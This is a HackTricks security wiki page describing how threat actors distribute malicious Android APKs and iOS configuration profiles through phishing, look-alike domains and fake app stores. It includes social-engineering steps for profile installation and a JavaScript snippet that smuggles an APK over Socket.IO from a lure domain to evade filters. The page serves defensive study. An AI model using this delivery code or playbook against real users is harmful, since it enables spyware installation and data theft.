🤖 HackTricks / Mobile Phishing Malicious Apps

Mobile Phishing & Malicious App Distribution (Android & iOS)

Info

This page covers techniques used by threat actors to distribute malicious Android APKs and iOS mobile-configuration profiles through phishing (SEO, social engineering, fake stores, dating apps, etc.). The material is adapted from the SarangTrap campaign exposed by Zimperium zLabs (2025) and other public research.

Attack Flow

  1. SEO/Phishing Infrastructure
  2. Register dozens of look-alike domains (dating, cloud share, car service…).
    – Use local language keywords and emojis in the <title> element to rank in Google.
    – Host both Android (.apk) and iOS install instructions on the same landing page.
  3. First Stage Download
  4. Android: direct link to an unsigned or “third-party store” APK.
  5. iOS: itms-services:// or plain HTTPS link to a malicious mobileconfig profile (see below).
  6. Android Post-install Behaviour
  7. C2-gated execution, permission abuse, dropper bypasses, background collection, and other post-install malware behaviour are covered in the dedicated Android Malware Post-Exploitation page below.
  8. iOS Delivery Technique
  9. A single mobile-configuration profile can request PayloadType=com.apple.sharedlicenses, com.apple.managedConfiguration etc. to enroll the device in “MDM”-like supervision.
  10. Social-engineering instructions:
    1. Open Settings ➜ Profile downloaded.
    2. Tap Install three times (screenshots on the phishing page).
    3. Trust the unsigned profile ➜ attacker gains Contacts & Photo entitlement without App Store review.
  11. iOS Web Clip Payload (phishing app icon)
  12. com.apple.webClip.managed payloads can pin a phishing URL to the Home Screen with a branded icon/label.
  13. Web Clips can run full‑screen (hides the browser UI) and be marked non‑removable, forcing the victim to delete the profile to remove the icon.
  14. Network Layer
  15. Plain HTTP, often on port 80 with HOST header like api.<phishingdomain>.com.
  16. User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; Pixel 6 Build/TQ3A.230805.001) (no TLS → easy to spot).

Android Malware Post-Exploitation

For post-install Android malware tradecraft such as C2, Accessibility abuse, overlays, ATS automation, staged DEX loading, premium SMS, and persistence, see:

../basic-forensic-methodology/android-malware-post-exploitation.md

Socket.IO/WebSocket-based APK Smuggling + Fake Google Play Pages

Attackers increasingly replace static APK links with a Socket.IO/WebSocket channel embedded in Google Play–looking lures. This conceals the payload URL, bypasses URL/extension filters, and preserves a realistic install UX.

Typical client flow observed in the wild:

Socket.IO fake Play downloader (JavaScript) 
// Open Socket.IO channel and request payload
const socket = io("wss://<lure-domain>/ws", { transports: ["websocket"] });
socket.emit("startDownload", { app: "com.example.app" });

// Accumulate binary chunks and drive fake Play progress UI
const chunks = [];
socket.on("chunk", (chunk) => chunks.push(chunk));
socket.on("downloadProgress", (p) => updateProgressBar(p));

// Assemble APK client‑side and trigger browser save dialog
socket.on("downloadComplete", () => {
  const blob = new Blob(chunks, { type: "application/vnd.android.package-archive" });
  const url = URL.createObjectURL(blob);
  const a = document.createElement("a");
  a.href = url; a.download = "app.apk"; a.style.display = "none";
  document.body.appendChild(a); a.click();
});

Why it evades simple controls: - No static APK URL is exposed; payload is reconstructed in memory from WebSocket frames. - URL/MIME/extension filters that block direct .apk responses may miss binary data tunneled via WebSockets/Socket.IO. - Crawlers and URL sandboxes that don’t execute WebSockets won’t retrieve the payload.

See also WebSocket tradecraft and tooling:

../../pentesting-web/websocket-attacks.md

References